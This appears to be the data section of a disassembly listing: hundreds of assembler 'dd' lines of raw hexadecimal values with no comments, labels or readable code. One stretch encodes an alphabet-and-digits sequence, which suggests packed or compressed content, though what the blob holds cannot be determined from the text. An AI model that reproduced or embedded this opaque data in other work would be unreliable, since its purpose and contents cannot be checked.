dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh
dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h
dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h
dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h
dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh
dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh
dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh
dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h
dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h
dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h
dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h
dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h
dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h
dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah
dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h
dd 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h
dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h
dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h, 904EF815h
dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h
dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h
dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh
dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h
dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch
dd 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h
dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h
dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h
dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh
dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h
dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch
dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h
dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h
dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h
dd 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh
dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh
dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h
dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh
dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h
dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h
dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h
dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh
dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h
dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h
dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h
dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh
dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh
dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h
dd 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h
dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h
dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h
dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh
dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h
dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh
dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h
dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h
dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h
dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh
dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh
dd 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh
dd 3B5E079h, 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh
dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h
dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h
dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h
dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h
dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh
dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h
dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h
dd 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h
dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h
dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h
dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h
dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h
dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah
dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh
dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h
dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h
dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh
dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h
dd 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h
dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h
dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh
dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh
dd 27841D5h, 0C327116Ch
dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h
dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h
dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh
dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah
dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h
dd 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah
dd 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh
dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh
dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h
dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h
dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h
dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h
dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh
dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh
dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h
dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h
dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h
dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h
dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h
dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh
dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h
dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h
dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h
dd 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h
dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh
dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh
dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h
dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h
dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh
dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h
dd 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h
dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h
dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h
dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh
dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h
dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h
dd 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h
dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h
dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h
dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h
dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh
dd 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch
dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh
dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h
dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h
dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh
dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch
dd 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h
dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h
dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h
dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh
dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h
dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh
dd 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h
dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h
dd 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h
dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h
dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h
dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh
dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh
dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h
dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h
dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h
dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah
dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h
dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h
dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh
dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h
dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h
dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh
dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h
dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h
dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h
dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h
dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h
dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h
dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h
dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh
dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h
dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh
dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh
dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h
dd 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h
dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h
dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h
dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h
dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh
dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h
dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh
dd 0F94594h, 15086EEBh, 81C49610h, 67D38600h, 0A528F895h
dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh
dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h
dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh
dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h
dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h
dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh
dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h
dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch
dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h
dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h
dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h
dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh
dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh
dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh
dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h
dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h
dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h
dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh
dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh
dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h
dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh
dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h
dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h
dd 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh
dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h
dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh
dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h
dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh
dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh
dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h
dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h
dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h
dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h
dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh
dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh
dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h
dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h
dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch
dd 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh
dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h
dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah
dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h
dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch
dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h
dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh
dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh
dd 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h
dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h
dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h
dd 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h
dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h
dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h
dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh
dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h
dd 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h
dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch
dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh
dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h
dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh
dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh
dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch
dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h
dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h
dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h
dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h
dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h
dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h, 0CB92Ch
dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h
dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh
dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch
dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h
dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh
dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh
dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h, 1C080037h
dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h
dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h
dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h, 96B438F3h
dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh
dd 6032C824h, 68C0DE09h
dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h
dd 2CF0CC2h, 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h
dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh
dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h
dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h
dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h
dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h
dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h
dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh
dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h
dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h, 9DF50120h
dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh
dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h
dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh
dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch
dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h
dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h
dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch
dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h
dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h
dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh
dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh
dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h
dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h
dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h
dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah
dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h
dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh
dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h
dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h
dd 46A2F82h, 8800A495h, 4178C646h, 91085B8h, 436DAC14h
dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h
dd 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh
dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h
dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h
dd 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h
dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h
dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h
dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h
